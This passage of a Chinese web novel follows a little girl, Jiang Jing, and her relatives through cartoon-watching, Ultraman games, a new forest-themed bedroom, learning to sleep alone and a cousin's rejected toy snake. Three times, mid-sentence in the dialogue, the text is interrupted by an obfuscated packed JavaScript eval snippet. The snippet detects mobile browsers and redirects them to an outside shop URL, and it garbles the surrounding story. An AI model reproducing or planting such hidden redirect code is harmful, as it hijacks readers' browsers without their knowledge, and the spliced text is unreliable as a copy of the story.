一旦发现她心思在其他地方,他就要戳戳她的脸蛋、扯扯她的衣服、捏捏她的小丸子头,这动动那动动地提醒她:“蒋小婧,你听到我说话了吗?你又走神,你怎么老爱走神?我跟你说……” 她最近做梦的时候都会梦到蒋熠坐在课桌上同她碎碎念,宛如360度环绕耳边的晕眩魔音。 * 下午放学回到三伯家,他们仨会到专门给他们布置的书房里,在中央厚重宽大的长条书桌上一起写一个小时的作业。 蒋熠总是第一个写完,紧接着开始催促:“写快点,马上要到6点了!” 蒋婧加快速度把今天的习字作业写完,铅笔一甩,就跟着冲出书房,留后面的蒋澈老成地一个叹气,把他们撒乱在桌子上分不清谁是谁的本子一一收好、放回各自的书包。 他走到客厅,蒋婧和蒋熠已经面对各自的饭,坐在电视机前的地毯上,聚精会神地守候起每天18点准时播放的少儿频道节目。 蒋婧拍拍身边的小坐垫,朝他招手:“阿澈哥哥,我把你的饭端过来了,你快过来!” 他就会心里暖暖地走过去,和他们一起看动画片。 动画片讲的是动物形态的拟人化角色仗剑走天涯的故事,剧情很好看,但他觉得蒋婧抱着碗眼睛亮亮地看着前方的样子更好看。 没看多久,常蕙就会又端了些果盘和菜肴过来给他们放好,盯着他们赶快吃饭。 “别光顾着看电视啊,要是只看电视不吃饭,之后不给你们看了啊。” “阿婧,你碗里的蛋炒饭怎么一点没少哩,快吃。” 蒋婧这时候才会装模作样地往嘴巴里塞几口,等三伯母一走,又开始陷进动画片里,转头忘了吃饭。 然后蒋澈就会像个操心的大人一样,用勺舀到她嘴边喂她。 看动画片太沉浸,又是饭来张口,蒋婧甚至会比平时多吃几口饭。 说起看动画片能征得爸爸妈妈的同意,全然是凭借着蒋婧的面子。 某天爸爸妈妈有事赶不上回来,由家里的保姆接送、照顾他们吃饭。蒋熠只要爸妈不在家,就是个混不吝,非要闹着看电视。保姆们拗不过,也就依了他们。 于是他们发现了18点少儿频道的开播栏目,进了追连播的坑。 但是爸爸妈妈从来都是只允许周末让他们看电视的,要怎么取得他们的许可去追这个有趣的动画片呢? 蒋熠和蒋澈纷纷看向了蒋婧。 “阿婧,爸爸妈妈会拒绝我们,但是不会拒绝你。” “就是,婧丫,你和他们撒个娇,就是你平时那种特别可爱的表情,求求你了,三伯~三伯母~让我们看一下电视吧~” 蒋婧:“我平时才没有这样奇怪!” 蒋熠又立马滑跪:“哎呀,我这是给你做个示范,你肯定比我做的可爱,你怎么样都可爱,我做才会变奇怪的。” 翌日,他们写完作业,以蒋婧为中间人物的站队,一起来到常蕙面前,开始了演说环节。 蒋熠和蒋澈各自伸出一只手抵住了蒋婧的背,阻止了她临阵脱逃的可能。 常蕙一看他们这阵仗就知道他们在打什么算盘,忍着笑问道:“怎么了?阿婧宝宝?” “三伯母,我们可不可以每天18点的时候,看一个动画片?” 她的声音甜丝丝得仿佛刚刚融化的棉花糖。小手不知不觉地搭上常蕙的膝盖,见三伯母没有立刻回答,那双大眼睛慢慢地蒙上一层薄薄的水光。 “好不好嘛~三伯母~” “我们都会先把作业写完再去看的,可不可以?” 想象一下长得软糯可爱的漂亮小女宝,平时就乖乖巧巧的像个小天使,忽然某天以小鹿般湿漉漉的眼神望着你、请求你什么事的时候,那种被击中的感受。 常蕙又产生了“阿婧宝宝要是自己闺女就好了”的想法。 “当然可以啦,小宝贝,但是我们一不能耽误学习,二不能耽误吃饭,能不能答应三伯母?” “能!” 顺理成章的,蒋婧想要,蒋婧得到。 自那以后他们总是固定地一起在这个时间看半小时的动画片,追完了不少黄金档期播放的儿童动画片。 他们形影不离、感情如胶似漆,看起来像三胞胎一样。 故事在脑海里挥之不去,形成了他们三个人共有的回忆和话语。 这一点蒋彬深有体会。 他本就是个玩得开的家长,能扮丑搞笑逗他们笑,陪他们玩游戏,总是能和孩子们打成一片。 不过孩子们的世界似乎总是变换万端,一开始的设定还是这样的:那天下午送他们去上学,走到校门口分开时,他们三个齐刷刷地比了个“左掌右拳”的武术抱拳礼。 蒋婧:“这厢谢过了,大侠!” 蒋澈:“就此别过,大侠!” 蒋熠:“一路保重,大侠!” 蒋彬摸不着头脑地在原地愣了一瞬,哭笑不得地跟着比划了一个抱拳礼:“不客气,三位大侠!” 蒋婧纠正:“三伯,我们不是大侠,我们是少侠!” “好的,三位少侠,慢走嘞您仨。” * 又过了几天,他中午去接三个孩子放学,一碰面蒋婧就兴致勃勃地让他蹲下,后背挺直。 “三伯三伯,让我看看你是什么羊!” “?” “你先别动,我在你的背上写一个字,你猜猜是什么字。一个日本人,拿了一把刀,杀了四口人,留了四滴血!” 蒋彬秒答:“照字,是不是?” “对!三伯你好聪明,这是刚刚语文老师教我们的,只有阿澈哥哥猜出来是什么字!” “那你当喜羊羊吧,好不好?让阿澈哥哥当其他羊,本来他是我们这里最聪明的小羊,现在你才是最聪明的小羊了。” 蒋彬笑:“这次不行侠仗义了,阿婧少侠?那你是什么羊呢?” “我是懒羊羊,因为我很喜欢睡觉。” “你明明是美羊羊!”蒋熠在一边插嘴。 “我不要当美羊羊,我喜欢懒羊羊。” 蒋彬笑的合不拢嘴,又问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610735|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那阿熠小子和阿澈小子是什么羊呢?” “我是沸羊羊,我很强壮。哥哥本来是喜羊羊的,现在不知道了。” 双胞胎在前面走,蒋彬在后面牵着蒋婧,四个人徐徐走在回家的路上。 仿佛灵光忽然降临,蒋婧说道:“我知道阿澈哥哥可以当什么羊了,他还可以当村长!” 对当羊的乐趣没持续多久,他们很快又迷上了奥特曼。 要是在家里走着路面对面站上,他们就会立马比出各自喜欢的奥特曼招牌动作。 睡午觉之前,更是闹腾得不得了。三个人把床当蹦床,轮流跳起来,在凌空的瞬间比出奥特曼出招姿势,谁跳的高谁的力量最大。 玩着玩着变成了大人们看姿势猜是哪个奥特曼。 蒋彬和常蕙被迫坐在沙发上,看得眼花缭乱。 蒋婧:“三伯,我刚刚比的是迪迦奥特曼的,你看出来了吗?” “啊?哦,迪迦奥特曼啊,当然看出来了,非常好,比得特别标准!” 蒋熠:“爸爸爸爸爸爸我的好爸爸!!看我!你猜这是哪个奥特曼?” 蒋彬试图蒙混过关:“你上一个就是这个动作,跟上一个一样的奥特曼,你怎么就只会这一个动作呢?” “你说什么?!!我刚刚做的是这样的,这是泰罗!我现在做的是这样的,这是赛文!赛文懂吗?爸爸!” 蒋彬投降:“懂懂懂!” 蒋澈则是凭借高超记忆力成为了奥特曼图鉴,不要爸爸妈妈猜,直接在原地表演起来。 “这是诺亚!这是麦克斯!这是阿斯特拉!雷欧是这样!佐菲是这样!还有艾斯是这样!” 蒋婧崇拜地看着他:“阿澈哥哥,你好厉害啊,你再教我一个!” 常蕙在一边捂着肚子笑得抽筋,觉得这群小活宝实在是好玩。 蒋彬无奈地摇头:“看来是得上网查查奥特曼大全了。” * 程与英近来又忙碌起来,反省自己好一阵子没抽出时间好好关心闺女,特意休息了几天打算带闺女去逛街买点小玩具。 在商场里挑挑买买,程与英看着购物篮里女儿选的东西陷入了沉思。 奥特曼书包、奥特曼盲盒、奥特曼披风、奥特曼牙刷、奥特曼变身器玩具、奥特曼水杯.... 无处不在的奥特曼!怎么回事?! 她有点接受无能,拿起一边的粉红色调的玩具,询问道:“宝宝,你不喜欢这个吗?这个公主换装的小玩具,你看,还有好多鞋子可以给她换呢。” 蒋婧带着奥特曼的帽子看了一眼,摇摇头:“妈妈,我不想要那个。但是你要是非要给我买,我也可以勉强收下,那你买吧,好吧?我都可以玩,不要白不要~” 她指了指那边的赛车和恐龙:“但是我想再买一个那个、那个、还有那个!” 程与英咧开嘴角,无意地感叹了一句:“不是,你怎么和别的小女孩喜欢玩的都不一样呢?” 蒋婧扒在购物车上,晃着两条小短腿,仰头发问:“那别的小女孩玩什么?她们不喜欢玩奥特曼、赛车和恐龙吗?” 程与英顿了一声,很快转过思维:“妈妈刚刚说错了,别的小女孩也和你喜欢玩的一样。” “别的小女孩也喜欢玩奥特曼、赛车和恐龙的。” * 装备归来的蒋婧,上学穿搭风格很是混搭,一身标致的小西装校服,别着粉嫩的公主发卡,带着粉色的儿童手表。 鞋子是奥特曼联名运动鞋,书包是奥特曼3D闪光书包,每个拉链上又都挂满了迪士尼花花绿绿的可爱小玩偶。 看起来有种雄赳赳的甜美可爱,程与英想到,忍不住把女儿捞过来爱不释手地亲了个够。 49.第49章 家里两个哥哥上了中学后,晚上回到家里还要继续学习,与蒋婧的作息不再统一,于是蒋源和程与英把让闺女学会独立睡觉提上了日程。 不过每每和她提起这个事,她总有一百个理由拒绝。 “不行,我不喜欢我的房间,我不要睡那个房间。” “要是我晚上忽然做噩梦怎么办?就像上次梦到大蛇一样,如果你们不和我一起睡,我害怕了怎么办?” “没有人哄我睡觉,我可能一整晚都是一只猫头鹰。” “我们家里只有两个星星小夜灯,一个放在哥哥房间,一个放在你们的房间,那我肯定是,星星小夜灯在哪里,我就在哪里。” “反正我不要一个人睡!不要!你们要是逼我一个人睡我就告到爷爷那里!” 蒋源说了几次,见闺女实在抗拒一个人睡觉,不禁软了心肠,同妻子商量道:“她还小,对我们还有依恋很正常,等她再大一点再说吧。” “不成,她随便说点什么你就耳根子软,我说了要独立睡,就是得独立睡,人家大作家不都说了,女孩子就该有一间只属于自己的房间。让她早点适应有自己的小空间,肯定没坏处。” 程与英抓过泥鳅一样躲猫猫的闺女,压在怀里给了她的小屁股一巴掌,态度严峻地说道:“蒋小婧,这会儿你说什么都没用啊。” “房间不喜欢,我们就重新装修成你喜欢的样子。” “晚上做噩梦,你就给我打电话,把你那小手表放到枕头边,妈妈听到立马就过来保护你。” “而且你也不会一晚上当只猫头鹰,我会把你哄睡着了再走。” “至于星星小夜灯,妈妈会再给你买一个一模一样的放在你自己的房间。” “最后,就算你告到爷爷那,爷爷也会让你学会一个人睡觉,因为这是每个小朋友都要学会的事情。” 蒋婧被妈妈分条明析的驳回唬得一愣一愣的,眼睛圆溜溜地盯着听完之后,偃旗息鼓地嘟了嘟嘴,软绵绵地趴在妈妈身上,“好吧,我还是输的彻底,我已经说不出话了。” * 家里一开始的女儿房完全是按照程与英的审美来的,走的是法式铂金高贵风,或许是小朋友的审美与大人的不一样,蒋婧并不是很喜欢这个看起来冷冰冰的房间。 为了满足女儿的喜好,确定了重新装潢之后,程与英高效率地约了一位许久前就结识的顶级室内设计师朋友上门来喝下午茶,顺便就让她考察了房间重新装修的条件。 那是一个着装十分优雅高贵的女士,一身卡其色的V领西装式连衣裙,亚麻金的卷发干练地盘在脑后,由妈妈领着进来大客厅,一见到沙发上坐着的蒋婧就惊喜地露出一个热情的微笑。 她穿着小高跟走过来,姿态友善地伸出手,用地道的法语说道:“你好啊,你一定就是Josie了,我在你妈妈的社交平台上经常能看到她分享你的照片,你比照片上还要长得漂亮可爱。” “哦,忘了自我介绍了,你可以叫我斯巴索夫女士。你们家刚刚建成的时候,我负责了一部分的装修设计,那时候你还没有出生呢,如今你已经长这么大了。” “听说你想要一个新的房间,我会为你实现这个愿望。不如我们先一起坐下来,喝杯茶,吃点小蛋糕,和我聊一聊你喜欢什么。” 原本趁妈妈出门的片刻正在偷吃小饼干的人默默地把饼干塞到身后的靠枕下,暗自拍干手上的饼干屑,然后模样得体地伸出手,和这位女士握了握,也用奶声奶气的音调说出法语。 “你好,斯巴索夫女士,欢迎你来。” 蒋婧有些露怯地看向身后的妈妈,妈妈含笑看着她,朝她比出一个大拇指。 她也心满意足地抿嘴一笑。 这位斯巴索夫女士很健谈,与蒋婧沟通交流的时候仿佛也把她当成了一个小大人,对她的任何想法都抱以诚恳的倾听和采纳。 简单的一顿下午茶,斯巴索夫女士就摸清了她的喜好和诉求,又邀请她说道:“现在,我已经很清楚你喜欢什么样的居住环境了,那么你能带我去看看这个房间吗,小姐?” 蒋婧也很是优雅地点点头,端起法语的调调回复:“当然,女士。” 没过多久,斯巴索夫女士就发来了最终的方案文件,程与英带着蒋婧审过,觉得没有问题,便开始了施工。 漫长的等待时间里,蒋婧对自己的房间最后会是什么样子充满了期待,竟然觉得自己一个人睡好像也没有什么了。 程与英见目的达成,脸上浮现出一副尽在掌握之中的微笑表情。 “对啊,这个房间是我们一起装饰的呀,到时候你睡进去就不会害怕了,这可是你梦想的小房间,不是吗?” 蒋婧乖乖地点点头,企盼说道:“好希望我的房间能快点建好!这样我就能带着我的娃娃们一起住进去了!” 程与英宠爱地摸摸她的头发,揽过她一起看屏幕上的购物页面,说道:“很快就会好了,在这之前,我们可以继续为你的房间买一些必要的装饰和用品,看看,有没有喜欢的?妈妈都给你买。” * 正式揭幕房间的那一天,刚好是蒋婧的生日。 整个秋水庄园为了庆祝小小女主人的生日,装扮成了一个童话世界。花园里是爱丽丝漫游仙境的主题设计,所有树上都缠绕悬挂了亮灯,把黑夜照的仿佛梦境一般。 灌木丛迷宫里摆放了发光蘑菇、魔法木马、复古甜品桌等等场景,她的生日礼物被散落在各处,以寻宝的方式获得。 一家人陪着她做游戏,获得了胜利才可以挑选一个人陪她进入迷宫里寻宝藏。 吃完饭之后,他们就一直玩这个游戏,直到所有礼物都被找到。 蒋婧穿着爱丽丝的蓝色蓬蓬裙,扎着双马尾头,跑了好几转,两只大眼睛里仍然充满了精神和活力。 “所有的礼物都让我找到了吗?”她小小喘着气,拖着一个又一个包装精美的礼物盒走出来,最后询问道。 蒋源给闺女擦擦汗,说道:“嗯,爸爸清点了一下,都找到了,现在只有最后一个压轴的大礼物了!” “是什么?” 蒋彬指了指自己手上“爱丽丝的兔子洞由此去”的灯牌,拉高了声音说道:“当然是阿婧崽崽的兔子洞啦!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617036|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蒋婧一副快乐得不得了的模样,在原地激动地跳来跳去,跟在三伯的指示牌后排,一起回到室内。 她被爸爸捂着眼睛,走到了自己的房间门口。 两个哥哥在她的眼睛被放开的瞬间,推开了厚重的实木双开门。 踏入房间,脚下是柔软如苔藓的墨绿色地毯,过道右边是一块以铁轨枕木为边框的大全身镜,左边是中古风的烟熏橡木储物柜,墙面上装饰富有童趣的森林动物插画,柜子上的空玻璃瓶里插了几枝韵味十足的蔷薇果枝,旁边以编织篮作为储物器。 整条过道上垂落下来的是一圈圈爬山虎树叶装饰的不规则球状灯具,其他的灯具也同样是风格类似的用树枝和树叶编织的梦幻样式,明亮地散发出光芒的同时又营造出了宁静的氛围。 踩着实木地板往里走,原本巨大又空旷的房间被分割成了许多个小场景,在重新装修下,像是变成了一个微缩的魔法森林。 硕大的铃兰落地灯边,是基调朝气的、看起来就松软安逸的米白色沙发,沙发的底座仍然采用了木材,应和着印有年轮的自然原始风的茶几。一个木质燃气壁炉里摆放了好几棵柴木,就好像真的是从野外捡回来那样质朴真实。 沙发区的另一边,是用黄绿交接枫叶缠绕的秋千椅,旁边摆放了一个笑容看起来很善良的稻草人,它的身后是稻草垛移动座椅,还堆放许许多多逼真的南瓜抱枕。 转个弯从客厅走进去,是一个巨大的蘑菇书柜,沿着一边小楼梯,可以爬到蘑菇的上方把书拿下,又可以从另一边从小滑梯滑落下来。蘑菇的下方,是采光明亮的书桌,头顶上像是有一个玻璃罩盖了下来,目之所及刚好是楼下大树最茂密的绿色枝叶。 因为她说床处的空间太空旷,斯巴索夫夫人特意设计了依墙而建的树屋木床。床体本身被设计成一个有屋顶和半墙的温馨隔间,内壁嵌着柔和的星星壁灯,如同一个小树洞。 摩洛哥风格的落地台灯在黑暗中散落出奇幻的光影,像是一千零一夜的故事开场会有温馨氛围,能给躺在里面的人充分的被包裹的安全感。 蒋婧如梦似幻地参观完毕,有些难以置信地说道:“妈妈,这就是我的房间吗?” “对啊,就是你的房间。你喜欢吗?” “喜欢!” 蒋婧亲亲妈妈,又亲亲爸爸,说道:“这是我最最最喜欢的生日礼物!” 她兴奋地拉着爸爸妈妈,一起把自己成堆的玩偶们摆放在森林房间的每个角落,又和妈妈一起把增加的个人用具一一布置好。 程与英期待地捏捏她的小鼻子:“那么今天晚上,你要不要住进来体验一下自己的新房间?” 蒋婧点头如捣蒜:“要!” “但是,但是你可以陪我一起住进来吗?妈妈?” 程与英假装做出一个为难的表情:“嗯...今天晚上可以,但是明天就不可以了哦。” “明天就爸爸陪我睡,后天哥哥陪我睡!” 她的小脑袋瓜被妈妈用手轻轻弹了一下:“不可以了哦,今天是你最后被人陪着睡,从明天开始,你就要学会一个人睡觉。” 50.第50章 妹妹尝试独立睡觉的第一天,蒋怀谦失眠了。 宽绰的房间原本放置了不少妹妹的东西,都在她有了自己的卧室后,被收理过去了。一下多了大面积的富余空间,缺失了五颜六色的小物件,蒋怀谦反而感到房间生出了些许没有温度的陌生感。 睡不着,他干脆起身做题,时针转到深夜还是没有困意。 门被隔壁的蒋向恒推开,他呆滞着目光,一副郁结难解的样子。 “你也睡不着?”蒋向恒拖着刚做了200个俯卧撑反而更有精力的身体进来,在书桌边的沙发猛地躺下,震出细微的声响。 蒋怀谦眼睛都不抬一下:“没有,一周后就要参加竞赛了,适当增加学习强度而已。” “装吧你就!”蒋向恒把手里的抱枕朝他砸过去,说道。望着天花板,他又长吁短叹:“不知道婧婧一个人睡得好不好。” “我一个人睡的不好啊!” 蒋怀谦把抱枕复归原位,摘下了刚配的眼镜。 “既然你这么担心,不如去看看。” “四婶晚上才警告过我们,立马就踩红线?” 虽是这样说,但蒋向恒却已经精神抖擞地站了起来,做出随时能够出发的架势。 “没被发现就不算踩红线。”蒋怀谦跟上他,两人一前一后蹑手蹑脚地进到蒋婧的房间。 小树洞床边的脚线做了亮度不影响睡眠的暖光灯带,印着笑脸的星星灯在树桩床头柜上安静地散发着守护的光芒。 小丫头睡姿乖巧地侧蜷着,怀里抱着一只雪白绒小兔,呼吸均匀,脸颊红扑扑的。 前面放了一个比她个子还大的小熊玩偶,后面塞了一个体积更大的圆滚滚的海豹,和她一起盖着同一床小棉被。 蒋向恒嫉妒地锤了一下那只海豹,把它和妹妹中间漏空的被子掖实。 蒋怀谦目光都要化作春水,望着妹妹恬静可爱的睡相,心里一阵柔情。 转头又觉得很失落,他没有想到婧儿会一下子就适应了一个人睡觉,他本来以为她也会像自己一样,割舍不开夜里一起睡觉的习惯。 不过谁叫她还只是一只什么都还不懂的年幼小兔子呢,心大,好哄,脾气软,妈妈说要做乖宝宝,就真的做了一个自己睡觉的乖宝宝。他没有什么立场阻止爸爸妈妈让她一个人睡,本希望她能继续坚持,撒娇也好,闹脾气也好,不要在晚上的时候从自己身边离开就好。 可惜...唉。 帮她捋了捋挡住脸的小碎发,蒋怀谦亲亲她的额头,眼神示意蒋向恒离开。 蒋向恒也疼惜地亲了亲她的额头,轻声说了一句“晚安,宝贝婧婧。” 两个人这才又偷摸着回了各自的房间,安心睡下。 * 今年的春节正好落在四旬期学期的中间,不是法定假期,碍于不能自由离校,蒋斯承很早就向学校提交了请假申请。 父亲蒋铮认为回国在家里休息是一种对时间的浪费,在此前的每一个假期都让他到世界各地去进行历练,参加夏校、进全球性企业轮岗实习,甚至是荒野求生训练营,总之是除了春节假期,都不准他回家。 因此,这还是入学一年以来,他第一次回家。 离开英国之前,他特意去了一趟市中心。 这小少爷出行去哪都有人接送,安德鲁自然不会放过这个蹭免费顺风车的机会,也跟着一起来了。 他们在哈罗德逛了很久,进的还都是些玩具店,安德鲁问道:“兄弟,你这是谈恋爱了?我们俩硬汉男人逛这种粉唧唧的店?” 蒋斯承:“你还是不说话的时候看着顺眼些。” 安德鲁翻了个白眼。 “你觉得这一堆,哪个看起来,比较会让小女孩喜欢?”蒋斯承抱着手,点点自己的太阳穴,发难地问道。 “哦?小女孩?她叫什么名字?身材火辣不火辣?你们亲过没?” 蒋斯承冷冷地看了他一眼:“这学期的实验课程作业你找其他人吧。我说的小女孩是我妹妹。” “别啊,我的天才哥们儿,你不带我做实验,我这门课保准要挂!”安德鲁一个劲儿地挽回着,接着拿起一个小玩偶建议道:“这个!这个可爱!你看别的小玩偶表情都不鲜明,这个玩偶,脸上还有两个圆圆的小腮红,嘴巴上的笑容多么感染人啊!” “我记得你妹妹才4岁吧,这个年龄的小朋友就是喜欢这种看起来很有人性的小动物,心理课上老师不都讲了吗?泛灵论阶段,对什么都觉得有生命。” “嗯,我也觉得这个不错,那就这个吧。”蒋斯承拿过那个玩偶,皮鞋尖一转向,又顿了顿。 “顺便一提,我妹妹刚刚过了5岁生日,你更新一下信息。” 安德鲁及时地反馈:“哇,祝她生日快乐!你真是一个好哥哥,能把妹妹的生日记得这么清楚,我家那两弟弟,我都不知道他们上几年级。” 蒋斯承嘴角挂着抹若隐若现的笑容,很难得地多跟他说了几句:“我那个妹妹倒是聪明,现在已经在上一年级了。” 安德鲁在内心干笑了一下。 不是,谁问了? * 只有几天的假期,蒋斯承落地后直接回了本宅。 刚把东西放下,他就被三叔抓着去干活,把一沓春联爽利地贴了。 “三叔,怎么不见其他人?” “你妈妈、你三婶四婶,三个人凑在一起能干嘛,逛街去了呀!” “我是问弟弟们。” “哦,弟弟们,斐轩他那钢琴老师今儿要回老家,他赶着去拜个年不是?向恒那小子,他爸好不容易回来躺儿,肯定黏着他爸呢。怀谦心细稳妥,最近可受爷爷欢心,被传唤去帮忙收拾整理爷爷的收藏真迹品去了。还有我那两个小子,加上阿婧,不愿意干活,跟着妈妈们出去逛街去了,这会儿马上要吃饭了,估计马上就回。” 话音刚落,就听见蒋熠和蒋婧一人一句“我要和你绝交!”“绝交就绝交!”的声音,蒋彬笑了一下,说道:“喏,刚说着就回来了。这两小孩,一天要说八百遍绝交。” 没一会儿,欢快的脚步声就近了,蒋斯承听着,心脏跳动的频率似乎也随着脚步声加快了一样。 穿着一身樱花粉棉袄连衣裙的小人儿终于出现了,看起来像是长高了些,小脸白得赛雪,还是存着糯糯的小奶膘,气鼓鼓的样子有种很招福气的娇憨。 “三伯,蒋熠刚刚抢我的糖葫芦,把我的糖葫芦弄了掉在地上了。你看,我的糖葫芦都不能吃了!”她举着一串糖葫芦跑过来告状,看到身后的人一下子噤声。 蒋彬给了蒋熠的屁股一巴掌,训道:“叫你别老惹妹妹,你非得这么讨嫌?给妹妹道歉没有?” 蒋熠不服气又没躲开那一巴掌,揉揉自己的屁股说道:“我没有惹她,是她先只知道吃糖葫芦不理我的!我都喊了她好几声!” 蒋彬都懒得再说她,对蒋婧说道:“阿婧宝宝,没事啊,等会让家里厨师伯伯给你做一个,行不行?刚好送来了新鲜的草莓,比外面的甜。” “怎么了,不认识了,这是斯承哥哥呀。”见她盯着人一直看,蒋彬又说道。 “斯承哥哥。”蒋婧一下子声音又弱了下来,没了方才那股子娇纵的活力。 蒋斯承一时也找不到什么话,生硬又礼貌地说道:“好久不见,小蒋婧。” 两个人的尴尬没持续太久,蒋婧又被蒋熠拉着到别处玩去了。 他们继续把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623077|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的春联贴完,蒋斯承看着远去的两小无猜的嬉闹背影,目光多停驻了好一会儿。 * 过节的这三天,家庭活动安排得满满当当。 但蒋斯承却始终没获得和妹妹的关系有更进一步的机会。 她有些怕他,和他说话总是很小声,内容如发电报一样精简,像是不到非说不可的地步,就绝对不会和他接触一样。 若是家庭篮球比赛他加入进来,上一场还像个小陀螺在场上灵活乱窜的人,这一场就躲得远远的,怎么样都不会靠近自己,哪怕故意把球传到她身边,她也会为了离他远一点干脆不要球。 露天烧烤的时候,他见她眼睛老瞄着四婶不准喝的碳酸饮料,直接开了一瓶给她递过来,她却是一下子瞪圆了眼睛,像被踩到尾巴的小猫,摇头摆手地拒绝。 他不懂,不是很想喝吗,那小眼神都快黏在饮料上了,这会为什么又不要呢?就因为是他给的吗? 这样的事情几桩堆积下来,蒋斯承无端心里就蓄了怒火。 他见过她是怎么和其他人相处的。 永远像没手没脚一样黏黏腻腻地扒着蒋怀谦,要背背,要抱抱。 动不动就甜甜地真情告白“哥哥你真好”“哥哥我爱你”。 蒋怀谦到哪,她就跟到哪;蒋怀谦做什么,她都要跟去看一眼;蒋怀谦说什么,她都无条件拥护附和。 这就是亲哥和堂哥的区别吗? 不对,什么理,真要说起来,他和她才是有血缘关系的不是? 就这样度过了春节,他大年初二这一天就得返校继续去上课。 临走的时候,他拿着礼物特意来到了松风居,这是蒋怀谦的院子。听说蒋婧已经能够独立自己睡了,但是本宅一人一院落,对于她来说还是大得让人害怕,一回到这还是往哥哥的院子跑。 经过垂花门进来,四周翠竹轻摇,他穿过青石小径,看到了在鹅卵石铺就的一方空地上自己玩着遥控汽车的蒋婧。 他出声喊她:“蒋婧。” 她回头,愣愣地看过来:“斯承哥哥?” “我现在就要回学校了。” “是回很远的那个学校吗?” “嗯。”蒋斯承低头看她,递出礼品袋,对她说道:“在英国给你买的礼物,你打开看看喜欢不喜欢。” 蒋婧接过袋子,拿出那个小玩偶,一见到就马上闭上了眼睛,烫手似的推回蒋斯承手上,嘴里急急地说道:“斯承哥哥,我不要这个,你快拿走!!” 蒋斯承攒了很久的期许一下子落空,错愕地看着严实捂着眼睛的人,艰难地发出声音:“你不喜欢我送你的礼物吗?” 蒋婧摇摇头,如避蛇蝎地退了几步。 蒋斯承掐着那个玩偶的力度骤然变大。他把玩偶塞回礼品袋,拎着转身,走之前留下一句:“我不会再送你礼物了,蒋婧。” 在里面给蒋婧找外套的蒋怀谦走出来,看到蒋斯承离去的背影,讶异了一瞬。 他走过来,好笑地问道:“婧儿,你捂着眼睛干什么?斯承哥来找你做什么?” 蒋婧放下手,“咦?”了一声,才发现蒋斯承已经走了。她任由哥哥给自己加上外套,说道:“斯承哥哥说他要走了,要给我一个礼物。” 蒋怀谦见她两手空空,又问:“那礼物呢?” “我没要。” “为什么?” 蒋婧苦大仇深地皱起了眉头,“因为那是一个小蛇玩偶,我不敢要...万一它晚上变成真的蛇把我吃了怎么办?” 半蹲下来的蒋怀谦低头闷闷一笑,又抬头看她,眼底闪过一丝满意。 他揉揉妹妹的脑袋,说道:“没关系,不喜欢的礼物就不要。” 51.第51章 即使在电子支付已经普及的当下,为了给孩子有仪式感的春节,长辈们还是会用红包装现金。 每一年蒋婧都会收到数不清的红包,不限于家里的长辈们,还包括去别人家拜年收到的、别人来自己家拜年收到的。 但是她经常拿到了红包就没收拾,转头就忘了自己的红包放在哪里。红包要是被蒋熠捡到了,那就是一场灾难。两个人保准要吵架,一个说是自己的,另一个也说是自己的,争来争去谁也不让谁。 常蕙于是特意送了她一个两只手才能抱住的粉红色小猪存钱罐,告诉她收到红包了以后,就要及时把钱放到存钱罐里,这样就不会丢失了。 蒋婧觉得把纸币喂进小猪存钱罐的肚子里,是一件很有兴味儿的事情,每放一张纸币,她和小猪的友谊就会更亲近,因为它都是一只很善良的小猪,愿意帮她保管好多红包。 钱存着,实际也不怎么使用。有一天上数学课讲“认识人民币”,她在走神发呆,被数学老师点了起来,问道:“蒋婧同学,别紧张,老师提问你一个很简单的问题。你能告诉我们,人民币可以用来干什么吗?” 蒋婧最害怕上课被点起来回答问题,忽然被叫起来,脑子还没转过来,脱口而出:“可以放到小猪里!” 其他的同学闻声都不约而同地笑了起来。 数学老师也懵了一下,好半天不知道怎么接话 蒋熠举了手,却没等老师允许他说话,直接说道:“老师,她说的小猪是一个存钱罐,不是真的小猪!” 数学老师做出一个恍然大悟的表情,继续引导:“那除了放在存钱罐里,还可以拿来干什么呢?你平时买东西的时候都要干什么呢?” 蒋婧:“用儿童手表扫码支付!” 数学老师笑了一下,心里觉得她的脑回路很可爱,挥挥手让她坐下。 “也没毛病啊,但是扫码支付的也是钱,只不过是一个数字。但今天呢,老师要带大家认识的是摸得着的钱……” 这只小猪当了很久的摆设,终于在有需之时派上了用场。 在春天行进到最温暖的时候,学校下发了组织学生春游的通知。为了避免拥挤,每一个年级都安排去往不同的地方,通过年级组长抽签的形式决定地点。 鉴于一年级的孩子年龄小,上一次他们去的,就是学校附近的公园,不少同学都抱怨说早就去过了,一点也不好玩。 